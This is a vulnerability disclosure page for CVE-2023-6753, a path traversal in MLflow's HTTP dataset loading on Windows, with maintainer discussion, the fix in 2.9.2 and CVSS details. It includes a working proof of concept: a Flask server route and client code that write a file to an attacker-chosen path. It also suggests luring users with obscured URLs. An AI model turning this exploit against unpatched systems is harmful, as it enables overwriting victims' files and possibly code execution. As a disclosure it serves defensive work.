

Arbitrary File Write when loading datasets on Windows in mlflow/mlflow

✓ Valid

Reported on Dec 8th 2023

Description

If we observe the code highlighted in <https://huntr.com/bounties/93e470d7-b6f0-409b-af63-49d3e2a26dbc/>

Notice that the fix only fully fixes the case where the filename is controlled by Content-Disposition.

However, if the filename is controlled by the path of the URL, then the code uses `posixpath.basename` -

https://github.com/mlflow/mlflow/blob/master/mlflow/data/http_dataset_source.py#L74 - to determine the basename of the filename. This means that if the filename is controlled by the path of the URL on Windows then it is possible to write files outside of the current working directory using backslash '\' instead of front slash '/' as `posixpath.basename` does not work with Windows paths.

Proof of Concept

Run the following server.

```
from flask import Flask, Response
app = Flask(__name__)

@app.route("/\\Users\\User\\poc.txt")
def index():
    res = Response("""
"fixed acidity";"volatile acidity";"citric acid";"residual sugar";"chlorides";"free
7.4;0.7;0;1.9;0.076;11;34;0.9978;3.51;0.56;9.4;5
7.8;0.88;0;2.6;0.098;25;67;0.9968;3.2;0.68;9.8;5
""")
    return res

app.run("0.0.0.0", 4444)
```

Then, run the following on Windows, make sure to replace the `\\Users\\User\\poc.txt` to whatever directory you control.

```

import mlflow.data
import pandas as pd
from mlflow.data.pandas_dataset import PandasDataset

dataset_source_url = "http://localhost:4444/\\Users\\User\\poc.txt"
df = pd.read_csv(dataset_source_url)
dataset: PandasDataset = mlflow.data.from_pandas(df, source=dataset_source_url)

with mlflow.start_run():
    mlflow.log_input(dataset, context="training")

run = mlflow.get_run(mlflow.last_active_run().info.run_id)
dataset_info = run.inputs.dataset_inputs[0].dataset

dataset_source = mlflow.data.get_source(dataset_info)
dataset_source.load()

```

The file should be written to \Users\User\poc.txt or whichever directory you specified.

Impact

Arbitrary File Write when loading datasets and possible RCE if files such as SSH keys are overwritten. This requires user to pass in a malicious URL, but they can be easily tricked to do so if the attacker says that the dataset is at https://XYZ.com/[long-string-of-garbage-characters]/[malicious-path-here]. (Users are very unlikely to check the path of a URL)

Occurrences

 http_dataset_source.py L74

This should be turned into os.path.basename so that the code works on both Windows and Linux.

 We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

 A **GitHub Issue** asking the maintainers to create a SECURITY.md exists 2 years ago



 **haxatron** modified the report 2 years ago



 **haxatron** modified the report 2 years ago



 **haxatron** modified the report 2 years ago



haxatron modified the report 2 years ago

flow



A **mlflow/mlflow** maintainer has acknowledged this report 2 years ago



Ben Wilson commented 2 years ago

Maintainer

Hi haxatron, we've filed this PR: <https://github.com/mlflow/mlflow/pull/10647> with a fix. Can you please verify that it fixes the vulnerability?



Ben Wilson validated this vulnerability 2 years ago

\$ **haxatron** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



haxatron commented 2 years ago

Researcher

Yes. It should fix the issue.



Ben Wilson marked this as fixed in **2.9.2** with commit **1c6309** 2 years ago

\$ **Ben Wilson** has been awarded the fix bounty ✓

\$ **http_dataset_source.py#L74** has been validated ✓



Ben Wilson gave praise 2 years ago

Thanks for the finding and quick validation!

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1



This vulnerability has now been published 2 years ago

[Sign in](#) to join this conversation

CVE

CVE-2023-6753

Published

Vulnerability Type

CWE-22: Path Traversal

Severity

Critical (9.6)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Changed
Confidentiality	High
Integrity	High
Availability	High

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

2.9.1

Visibility

Public

Status

Fixed

Disclosure Bounty

\$1500

Fix Bounty

\$375

Found by



haxatron

@haxatron

LIGHTWEIGHT



Fixed by



Ben Wilson

@benwilson2

UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



